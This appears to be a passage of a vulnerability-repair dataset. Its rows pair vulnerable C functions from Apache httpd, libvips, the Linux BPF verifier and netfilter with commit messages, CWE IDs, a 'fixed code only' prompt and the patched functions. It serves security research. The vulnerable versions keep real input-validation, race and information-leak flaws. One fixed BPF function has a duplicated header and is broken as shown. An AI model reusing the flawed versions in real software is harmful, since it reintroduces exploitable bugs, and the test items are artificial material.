* in a state of expecting one.
*/
f->r->expecting_100 = 0;
tmp = apr_pstrcat(f->r->pool, AP_SERVER_PROTOCOL " ",
ap_get_status_line(HTTP_CONTINUE), CRLF CRLF, NULL);
len = strlen(tmp);
ap_xlate_proto_to_ascii(tmp, len);
e = apr_bucket_pool_create(tmp, len, f->r->pool,
f->c->bucket_alloc);
APR_BRIGADE_INSERT_HEAD(bb, e);
e = apr_bucket_flush_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, e);
rv = ap_pass_brigade(f->c->output_filters, bb);
if (rv != APR_SUCCESS) {
return AP_FILTER_ERROR;
}
}
}
}
/* sanity check in case we're read twice */
if (ctx->eos_sent) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
return APR_SUCCESS;
}
do {
apr_brigade_cleanup(b);
again = 0; /* until further notice */
/* read and handle the brigade */
switch (ctx->state) {
case BODY_CHUNK:
case BODY_CHUNK_PART:
case BODY_CHUNK_EXT:
case BODY_CHUNK_END: {
rv = ap_get_brigade(f->next, b, AP_MODE_GETLINE, block, 0);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
e = APR_BRIGADE_FIRST(b);
while (e != APR_BRIGADE_SENTINEL(b)) {
const char *buffer;
apr_size_t len;
if (!APR_BUCKET_IS_METADATA(e)) {
rv = apr_bucket_read(e, &buffer, &len, APR_BLOCK_READ);
if (rv == APR_SUCCESS) {
rv = parse_chunk_size(ctx, buffer, len,
f->r->server->limit_req_fieldsize);
}
if (rv != APR_SUCCESS) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, rv, f->r, APLOGNO(01590) "Error reading chunk %s ", (APR_ENOSPC == rv) ? "(overflow)" : "");
return rv;
}
}
apr_bucket_delete(e);
e = APR_BRIGADE_FIRST(b);
}
again = 1; /* come around again */
if (ctx->state == BODY_CHUNK_TRAILER) {
/* Treat UNSET as DISABLE - trailers aren't merged by default */
int merge_trailers =
conf->merge_trailers == AP_MERGE_TRAILERS_ENABLE;
return read_chunked_trailers(ctx, f, b, merge_trailers);
}
break;
}
case BODY_NONE:
case BODY_LENGTH:
case BODY_CHUNK_DATA: {
/* Ensure that the caller can not go over our boundary point. */
if (ctx->state != BODY_NONE && ctx->remaining < readbytes) {
readbytes = ctx->remaining;
}
if (readbytes > 0) {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF && ctx->state != BODY_NONE
&& ctx->remaining > 0) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
/* How many bytes did we just read? */
apr_brigade_length(b, 0, &totalread);
/* If this happens, we have a bucket of unknown length. Die because
* it means our assumptions have changed. */
AP_DEBUG_ASSERT(totalread >= 0);
if (ctx->state != BODY_NONE) {
ctx->remaining -= totalread;
if (ctx->remaining > 0) {
e = APR_BRIGADE_LAST(b);
if (APR_BUCKET_IS_EOS(e)) {
apr_bucket_delete(e);
return APR_INCOMPLETE;
}
}
else if (ctx->state == BODY_CHUNK_DATA) {
/* next chunk please */
ctx->state = BODY_CHUNK_END;
ctx->chunk_used = 0;
}
}
}
/* If we have no more bytes remaining on a C-L request,
* save the caller a round trip to discover EOS.
*/
if (ctx->state == BODY_LENGTH && ctx->remaining == 0) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
}
/* We have a limit in effect. */
if (ctx->limit) {
/* FIXME: Note that we might get slightly confused on chunked inputs
* as we'd need to compensate for the chunk lengths which may not
* really count. This seems to be up for interpretation. */
ctx->limit_used += totalread;
if (ctx->limit < ctx->limit_used) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01591) "Read content-length of %" APR_OFF_T_FMT " is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->limit_used, ctx->limit);
return APR_ENOSPC;
}
}
break;
}
case BODY_CHUNK_TRAILER: {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv != APR_SUCCESS) {
return rv;
}
break;
}
default: {
break;
}
}
} while (again);
return APR_SUCCESS;
}
Commit Message: Limit accepted chunk-size to 2^63-1 and be strict about chunk-ext
authorized characters.
Submitted by: Yann Ylavic
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684513 13f79535-47bb-0310-9956-ffa450edef68
CWE ID: CWE-20 | apr_status_t ap_http_filter(ap_filter_t *f, apr_bucket_brigade *b,
ap_input_mode_t mode, apr_read_type_e block,
apr_off_t readbytes)
{
core_server_config *conf;
apr_bucket *e;
http_ctx_t *ctx = f->ctx;
apr_status_t rv;
apr_off_t totalread;
int again;
conf = (core_server_config *)
ap_get_module_config(f->r->server->module_config, &core_module);
/* just get out of the way of things we don't want. */
if (mode != AP_MODE_READBYTES && mode != AP_MODE_GETLINE) {
return ap_get_brigade(f->next, b, mode, block, readbytes);
}
if (!ctx) {
const char *tenc, *lenp;
f->ctx = ctx = apr_pcalloc(f->r->pool, sizeof(*ctx));
ctx->state = BODY_NONE;
/* LimitRequestBody does not apply to proxied responses.
* Consider implementing this check in its own filter.
* Would adding a directive to limit the size of proxied
* responses be useful?
*/
if (!f->r->proxyreq) {
ctx->limit = ap_get_limit_req_body(f->r);
}
else {
ctx->limit = 0;
}
tenc = apr_table_get(f->r->headers_in, "Transfer-Encoding");
lenp = apr_table_get(f->r->headers_in, "Content-Length");
if (tenc) {
if (strcasecmp(tenc, "chunked") == 0 /* fast path */
|| ap_find_last_token(f->r->pool, tenc, "chunked")) {
ctx->state = BODY_CHUNK;
}
else if (f->r->proxyreq == PROXYREQ_RESPONSE) {
/* http://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-23
* Section 3.3.3.3: "If a Transfer-Encoding header field is
* present in a response and the chunked transfer coding is not
* the final encoding, the message body length is determined by
* reading the connection until it is closed by the server."
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(02555)
"Unknown Transfer-Encoding: %s; "
"using read-until-close", tenc);
tenc = NULL;
}
else {
/* Something that isn't a HTTP request, unless some future
* edition defines new transfer encodings, is unsupported.
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01585)
"Unknown Transfer-Encoding: %s", tenc);
return APR_EGENERAL;
}
lenp = NULL;
}
if (lenp) {
char *endstr;
ctx->state = BODY_LENGTH;
/* Protects against over/underflow, non-digit chars in the
* string (excluding leading space) (the endstr checks)
* and a negative number. */
if (apr_strtoff(&ctx->remaining, lenp, &endstr, 10)
|| endstr == lenp || *endstr || ctx->remaining < 0) {
ctx->remaining = 0;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01587)
"Invalid Content-Length");
return APR_EINVAL;
}
/* If we have a limit in effect and we know the C-L ahead of
* time, stop it here if it is invalid.
*/
if (ctx->limit && ctx->limit < ctx->remaining) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01588)
"Requested content-length of %" APR_OFF_T_FMT
" is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->remaining, ctx->limit);
return APR_ENOSPC;
}
}
/* If we don't have a request entity indicated by the headers, EOS.
* (BODY_NONE is a valid intermediate state due to trailers,
* but it isn't a valid starting state.)
*
* RFC 2616 Section 4.4 note 5 states that connection-close
* is invalid for a request entity - request bodies must be
* denoted by C-L or T-E: chunked.
*
* Note that since the proxy uses this filter to handle the
* proxied *response*, proxy responses MUST be exempt.
*/
if (ctx->state == BODY_NONE && f->r->proxyreq != PROXYREQ_RESPONSE) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
return APR_SUCCESS;
}
/* Since we're about to read data, send 100-Continue if needed.
* Only valid on chunked and C-L bodies where the C-L is > 0. */
if ((ctx->state == BODY_CHUNK
|| (ctx->state == BODY_LENGTH && ctx->remaining > 0))
&& f->r->expecting_100 && f->r->proto_num >= HTTP_VERSION(1,1)
&& !(f->r->eos_sent || f->r->bytes_sent)) {
if (!ap_is_HTTP_SUCCESS(f->r->status)) {
ctx->state = BODY_NONE;
ctx->eos_sent = 1;
}
else {
char *tmp;
int len;
apr_bucket_brigade *bb;
bb = apr_brigade_create(f->r->pool, f->c->bucket_alloc);
/* if we send an interim response, we're no longer
* in a state of expecting one.
*/
f->r->expecting_100 = 0;
tmp = apr_pstrcat(f->r->pool, AP_SERVER_PROTOCOL " ",
ap_get_status_line(HTTP_CONTINUE), CRLF CRLF, NULL);
len = strlen(tmp);
ap_xlate_proto_to_ascii(tmp, len);
e = apr_bucket_pool_create(tmp, len, f->r->pool,
f->c->bucket_alloc);
APR_BRIGADE_INSERT_HEAD(bb, e);
e = apr_bucket_flush_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, e);
rv = ap_pass_brigade(f->c->output_filters, bb);
apr_brigade_cleanup(bb);
if (rv != APR_SUCCESS) {
return AP_FILTER_ERROR;
}
}
}
}
/* sanity check in case we're read twice */
if (ctx->eos_sent) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
return APR_SUCCESS;
}
do {
apr_brigade_cleanup(b);
again = 0; /* until further notice */
/* read and handle the brigade */
switch (ctx->state) {
case BODY_CHUNK:
case BODY_CHUNK_PART:
case BODY_CHUNK_EXT:
case BODY_CHUNK_LF:
case BODY_CHUNK_END:
case BODY_CHUNK_END_LF: {
rv = ap_get_brigade(f->next, b, AP_MODE_GETLINE, block, 0);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
e = APR_BRIGADE_FIRST(b);
while (e != APR_BRIGADE_SENTINEL(b)) {
const char *buffer;
apr_size_t len;
if (!APR_BUCKET_IS_METADATA(e)) {
rv = apr_bucket_read(e, &buffer, &len, APR_BLOCK_READ);
if (rv == APR_SUCCESS) {
rv = parse_chunk_size(ctx, buffer, len,
f->r->server->limit_req_fieldsize);
}
if (rv != APR_SUCCESS) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, rv, f->r, APLOGNO(01590)
"Error reading chunk %s ",
(APR_ENOSPC == rv) ? "(overflow)" : "");
return rv;
}
}
apr_bucket_delete(e);
e = APR_BRIGADE_FIRST(b);
}
again = 1; /* come around again */
if (ctx->state == BODY_CHUNK_TRAILER) {
/* Treat UNSET as DISABLE - trailers aren't merged by default */
return read_chunked_trailers(ctx, f, b,
conf->merge_trailers == AP_MERGE_TRAILERS_ENABLE);
}
break;
}
case BODY_NONE:
case BODY_LENGTH:
case BODY_CHUNK_DATA: {
/* Ensure that the caller can not go over our boundary point. */
if (ctx->state != BODY_NONE && ctx->remaining < readbytes) {
readbytes = ctx->remaining;
}
if (readbytes > 0) {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF && ctx->state != BODY_NONE
&& ctx->remaining > 0) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
/* How many bytes did we just read? */
apr_brigade_length(b, 0, &totalread);
/* If this happens, we have a bucket of unknown length. Die because
* it means our assumptions have changed. */
AP_DEBUG_ASSERT(totalread >= 0);
if (ctx->state != BODY_NONE) {
ctx->remaining -= totalread;
if (ctx->remaining > 0) {
e = APR_BRIGADE_LAST(b);
if (APR_BUCKET_IS_EOS(e)) {
apr_bucket_delete(e);
return APR_INCOMPLETE;
}
}
else if (ctx->state == BODY_CHUNK_DATA) {
/* next chunk please */
ctx->state = BODY_CHUNK_END;
ctx->chunk_used = 0;
}
}
}
/* If we have no more bytes remaining on a C-L request,
* save the caller a round trip to discover EOS.
*/
if (ctx->state == BODY_LENGTH && ctx->remaining == 0) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
}
/* We have a limit in effect. */
if (ctx->limit) {
/* FIXME: Note that we might get slightly confused on chunked inputs
* as we'd need to compensate for the chunk lengths which may not
* really count. This seems to be up for interpretation. */
ctx->limit_used += totalread;
if (ctx->limit < ctx->limit_used) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01591)
"Read content-length of %" APR_OFF_T_FMT
" is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->limit_used, ctx->limit);
return APR_ENOSPC;
}
}
break;
}
case BODY_CHUNK_TRAILER: {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv != APR_SUCCESS) {
return rv;
}
break;
}
default: {
/* Should not happen */
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, f->r, APLOGNO(02901)
"Unexpected body state (%i)", (int)ctx->state);
return APR_EGENERAL;
}
}
} while (again);
return APR_SUCCESS;
}
| 166,633 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: vips_foreign_load_start( VipsImage *out, void *a, void *b )
{
VipsForeignLoad *load = VIPS_FOREIGN_LOAD( b );
VipsForeignLoadClass *class = VIPS_FOREIGN_LOAD_GET_CLASS( load );
if( !load->real ) {
if( !(load->real = vips_foreign_load_temp( load )) )
return( NULL );
#ifdef DEBUG
printf( "vips_foreign_load_start: triggering ->load()\n" );
#endif /*DEBUG*/
/* Read the image in. This may involve a long computation and
* will finish with load->real holding the decompressed image.
*
* We want our caller to be able to see this computation on
* @out, so eval signals on ->real need to appear on ->out.
*/
load->real->progress_signal = load->out;
/* Note the load object on the image. Loaders can use
* this to signal invalidate if they hit a load error. See
* vips_foreign_load_invalidate() below.
*/
g_object_set_qdata( G_OBJECT( load->real ),
vips__foreign_load_operation, load );
if( class->load( load ) ||
vips_image_pio_input( load->real ) )
return( NULL );
/* ->header() read the header into @out, load has read the
* image into @real. They must match exactly in size, bands,
* format and coding for the copy to work.
*
* Some versions of ImageMagick give different results between
* Ping and Load for some formats, for example.
*/
if( !vips_foreign_load_iscompat( load->real, out ) )
return( NULL );
/* We have to tell vips that out depends on real. We've set
* the demand hint below, but not given an input there.
*/
vips_image_pipelinev( load->out, load->out->dhint,
load->real, NULL );
}
return( vips_region_new( load->real ) );
}
Commit Message: fix a crash with delayed load
If a delayed load failed, it could leave the pipeline only half-set up.
Sebsequent threads could then segv.
Set a load-has-failed flag and test before generate.
See https://github.com/jcupitt/libvips/issues/893
CWE ID: CWE-362 | vips_foreign_load_start( VipsImage *out, void *a, void *b )
{
VipsForeignLoad *load = VIPS_FOREIGN_LOAD( b );
VipsForeignLoadClass *class = VIPS_FOREIGN_LOAD_GET_CLASS( load );
/* If this start has failed before in another thread, we can fail now.
*/
if( load->error )
return( NULL );
if( !load->real ) {
if( !(load->real = vips_foreign_load_temp( load )) )
return( NULL );
#ifdef DEBUG
printf( "vips_foreign_load_start: triggering ->load()\n" );
#endif /*DEBUG*/
/* Read the image in. This may involve a long computation and
* will finish with load->real holding the decompressed image.
*
* We want our caller to be able to see this computation on
* @out, so eval signals on ->real need to appear on ->out.
*/
load->real->progress_signal = load->out;
/* Note the load object on the image. Loaders can use
* this to signal invalidate if they hit a load error. See
* vips_foreign_load_invalidate() below.
*/
g_object_set_qdata( G_OBJECT( load->real ),
vips__foreign_load_operation, load );
/* Load the image and check the result.
*
* ->header() read the header into @out, load has read the
* image into @real. They must match exactly in size, bands,
* format and coding for the copy to work.
*
* Some versions of ImageMagick give different results between
* Ping and Load for some formats, for example.
*
* If the load fails, we need to stop
*/
if( class->load( load ) ||
vips_image_pio_input( load->real ) ||
vips_foreign_load_iscompat( load->real, out ) ) {
vips_operation_invalidate( VIPS_OPERATION( load ) );
load->error = TRUE;
return( NULL );
}
/* We have to tell vips that out depends on real. We've set
* the demand hint below, but not given an input there.
*/
vips_image_pipelinev( load->out, load->out->dhint,
load->real, NULL );
}
return( vips_region_new( load->real ) );
}
| 169,304 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void print_bpf_insn(struct bpf_insn *insn)
{
u8 class = BPF_CLASS(insn->code);
if (class == BPF_ALU || class == BPF_ALU64) {
if (BPF_SRC(insn->code) == BPF_X)
verbose("(%02x) %sr%d %s %sr%d\n",
insn->code, class == BPF_ALU ? "(u32) " : "",
insn->dst_reg,
bpf_alu_string[BPF_OP(insn->code) >> 4],
class == BPF_ALU ? "(u32) " : "",
insn->src_reg);
else
verbose("(%02x) %sr%d %s %s%d\n",
insn->code, class == BPF_ALU ? "(u32) " : "",
insn->dst_reg,
bpf_alu_string[BPF_OP(insn->code) >> 4],
class == BPF_ALU ? "(u32) " : "",
insn->imm);
} else if (class == BPF_STX) {
if (BPF_MODE(insn->code) == BPF_MEM)
verbose("(%02x) *(%s *)(r%d %+d) = r%d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg,
insn->off, insn->src_reg);
else if (BPF_MODE(insn->code) == BPF_XADD)
verbose("(%02x) lock *(%s *)(r%d %+d) += r%d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg, insn->off,
insn->src_reg);
else
verbose("BUG_%02x\n", insn->code);
} else if (class == BPF_ST) {
if (BPF_MODE(insn->code) != BPF_MEM) {
verbose("BUG_st_%02x\n", insn->code);
return;
}
verbose("(%02x) *(%s *)(r%d %+d) = %d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg,
insn->off, insn->imm);
} else if (class == BPF_LDX) {
if (BPF_MODE(insn->code) != BPF_MEM) {
verbose("BUG_ldx_%02x\n", insn->code);
return;
}
verbose("(%02x) r%d = *(%s *)(r%d %+d)\n",
insn->code, insn->dst_reg,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->src_reg, insn->off);
} else if (class == BPF_LD) {
if (BPF_MODE(insn->code) == BPF_ABS) {
verbose("(%02x) r0 = *(%s *)skb[%d]\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->imm);
} else if (BPF_MODE(insn->code) == BPF_IND) {
verbose("(%02x) r0 = *(%s *)skb[r%d + %d]\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->src_reg, insn->imm);
} else if (BPF_MODE(insn->code) == BPF_IMM) {
verbose("(%02x) r%d = 0x%x\n",
insn->code, insn->dst_reg, insn->imm);
} else {
verbose("BUG_ld_%02x\n", insn->code);
return;
}
} else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
if (opcode == BPF_CALL) {
verbose("(%02x) call %s#%d\n", insn->code,
func_id_name(insn->imm), insn->imm);
} else if (insn->code == (BPF_JMP | BPF_JA)) {
verbose("(%02x) goto pc%+d\n",
insn->code, insn->off);
} else if (insn->code == (BPF_JMP | BPF_EXIT)) {
verbose("(%02x) exit\n", insn->code);
} else if (BPF_SRC(insn->code) == BPF_X) {
verbose("(%02x) if r%d %s r%d goto pc%+d\n",
insn->code, insn->dst_reg,
bpf_jmp_string[BPF_OP(insn->code) >> 4],
insn->src_reg, insn->off);
} else {
verbose("(%02x) if r%d %s 0x%x goto pc%+d\n",
insn->code, insn->dst_reg,
bpf_jmp_string[BPF_OP(insn->code) >> 4],
insn->imm, insn->off);
}
} else {
verbose("(%02x) %s\n", insn->code, bpf_class_string[class]);
}
}
Commit Message: bpf: don't let ldimm64 leak map addresses on unprivileged
The patch fixes two things at once:
1) It checks the env->allow_ptr_leaks and only prints the map address to
the log if we have the privileges to do so, otherwise it just dumps 0
as we would when kptr_restrict is enabled on %pK. Given the latter is
off by default and not every distro sets it, I don't want to rely on
this, hence the 0 by default for unprivileged.
2) Printing of ldimm64 in the verifier log is currently broken in that
we don't print the full immediate, but only the 32 bit part of the
first insn part for ldimm64. Thus, fix this up as well; it's okay to
access, since we verified all ldimm64 earlier already (including just
constants) through replace_map_fd_with_map_ptr().
Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs")
Fixes: cbd357008604 ("bpf: verifier (add ability to receive verification log)")
Reported-by: Jann Horn <[email protected]>
Signed-off-by: Daniel Borkmann <[email protected]>
Acked-by: Alexei Starovoitov <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-200 | static void print_bpf_insn(struct bpf_insn *insn)
static void print_bpf_insn(const struct bpf_verifier_env *env,
const struct bpf_insn *insn)
{
u8 class = BPF_CLASS(insn->code);
if (class == BPF_ALU || class == BPF_ALU64) {
if (BPF_SRC(insn->code) == BPF_X)
verbose("(%02x) %sr%d %s %sr%d\n",
insn->code, class == BPF_ALU ? "(u32) " : "",
insn->dst_reg,
bpf_alu_string[BPF_OP(insn->code) >> 4],
class == BPF_ALU ? "(u32) " : "",
insn->src_reg);
else
verbose("(%02x) %sr%d %s %s%d\n",
insn->code, class == BPF_ALU ? "(u32) " : "",
insn->dst_reg,
bpf_alu_string[BPF_OP(insn->code) >> 4],
class == BPF_ALU ? "(u32) " : "",
insn->imm);
} else if (class == BPF_STX) {
if (BPF_MODE(insn->code) == BPF_MEM)
verbose("(%02x) *(%s *)(r%d %+d) = r%d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg,
insn->off, insn->src_reg);
else if (BPF_MODE(insn->code) == BPF_XADD)
verbose("(%02x) lock *(%s *)(r%d %+d) += r%d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg, insn->off,
insn->src_reg);
else
verbose("BUG_%02x\n", insn->code);
} else if (class == BPF_ST) {
if (BPF_MODE(insn->code) != BPF_MEM) {
verbose("BUG_st_%02x\n", insn->code);
return;
}
verbose("(%02x) *(%s *)(r%d %+d) = %d\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->dst_reg,
insn->off, insn->imm);
} else if (class == BPF_LDX) {
if (BPF_MODE(insn->code) != BPF_MEM) {
verbose("BUG_ldx_%02x\n", insn->code);
return;
}
verbose("(%02x) r%d = *(%s *)(r%d %+d)\n",
insn->code, insn->dst_reg,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->src_reg, insn->off);
} else if (class == BPF_LD) {
if (BPF_MODE(insn->code) == BPF_ABS) {
verbose("(%02x) r0 = *(%s *)skb[%d]\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->imm);
} else if (BPF_MODE(insn->code) == BPF_IND) {
verbose("(%02x) r0 = *(%s *)skb[r%d + %d]\n",
insn->code,
bpf_ldst_string[BPF_SIZE(insn->code) >> 3],
insn->src_reg, insn->imm);
} else if (BPF_MODE(insn->code) == BPF_IMM &&
BPF_SIZE(insn->code) == BPF_DW) {
/* At this point, we already made sure that the second
* part of the ldimm64 insn is accessible.
*/
u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm;
bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD;
if (map_ptr && !env->allow_ptr_leaks)
imm = 0;
verbose("(%02x) r%d = 0x%llx\n", insn->code,
insn->dst_reg, (unsigned long long)imm);
} else {
verbose("BUG_ld_%02x\n", insn->code);
return;
}
} else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
if (opcode == BPF_CALL) {
verbose("(%02x) call %s#%d\n", insn->code,
func_id_name(insn->imm), insn->imm);
} else if (insn->code == (BPF_JMP | BPF_JA)) {
verbose("(%02x) goto pc%+d\n",
insn->code, insn->off);
} else if (insn->code == (BPF_JMP | BPF_EXIT)) {
verbose("(%02x) exit\n", insn->code);
} else if (BPF_SRC(insn->code) == BPF_X) {
verbose("(%02x) if r%d %s r%d goto pc%+d\n",
insn->code, insn->dst_reg,
bpf_jmp_string[BPF_OP(insn->code) >> 4],
insn->src_reg, insn->off);
} else {
verbose("(%02x) if r%d %s 0x%x goto pc%+d\n",
insn->code, insn->dst_reg,
bpf_jmp_string[BPF_OP(insn->code) >> 4],
insn->imm, insn->off);
}
} else {
verbose("(%02x) %s\n", insn->code, bpf_class_string[class]);
}
}
| 168,121 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_match *ematch;
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
unsigned int j;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_ip6t_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_ip6t_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_ip6t_entry) +
sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
if (!ip6_checkentry(&e->ipv6))
return -EINVAL;
ret = xt_compat_check_entry_offsets(e,
e->target_offset, e->next_offset);
if (ret)
return ret;
off = sizeof(struct ip6t_entry) - sizeof(struct compat_ip6t_entry);
entry_offset = (void *)e - (void *)base;
j = 0;
xt_ematch_foreach(ematch, e) {
ret = compat_find_calc_match(ematch, name, &e->ipv6, &off);
if (ret != 0)
goto release_matches;
++j;
}
t = compat_ip6t_get_target(e);
target = xt_request_find_target(NFPROTO_IPV6, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto release_matches;
}
t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(AF_INET6, entry_offset, off);
if (ret)
goto out;
/* Check hooks & underflows */
for (h = 0; h < NF_INET_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
out:
module_put(t->u.kernel.target->me);
release_matches:
xt_ematch_foreach(ematch, e) {
if (j-- == 0)
break;
module_put(ematch->u.kernel.match->me);
}
return ret;
}
Commit Message: netfilter: x_tables: check for bogus target offset
We're currently asserting that targetoff + targetsize <= nextoff.
Extend it to also check that targetoff is >= sizeof(xt_entry).
Since this is generic code, add an argument pointing to the start of the
match/target, we can then derive the base structure size from the delta.
We also need the e->elems pointer in a followup change to validate matches.
Signed-off-by: Florian Westphal <[email protected]>
Signed-off-by: Pablo Neira Ayuso <[email protected]>
CWE ID: CWE-264 | check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_match *ematch;
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
unsigned int j;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_ip6t_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_ip6t_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_ip6t_entry) +
sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
if (!ip6_checkentry(&e->ipv6))
return -EINVAL;
ret = xt_compat_check_entry_offsets(e, e->elems,
e->target_offset, e->next_offset);
if (ret)
return ret;
off = sizeof(struct ip6t_entry) - sizeof(struct compat_ip6t_entry);
entry_offset = (void *)e - (void *)base;
j = 0;
xt_ematch_foreach(ematch, e) {
ret = compat_find_calc_match(ematch, name, &e->ipv6, &off);
if (ret != 0)
goto release_matches;
++j;
}
t = compat_ip6t_get_target(e);
target = xt_request_find_target(NFPROTO_IPV6, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto release_matches;
}
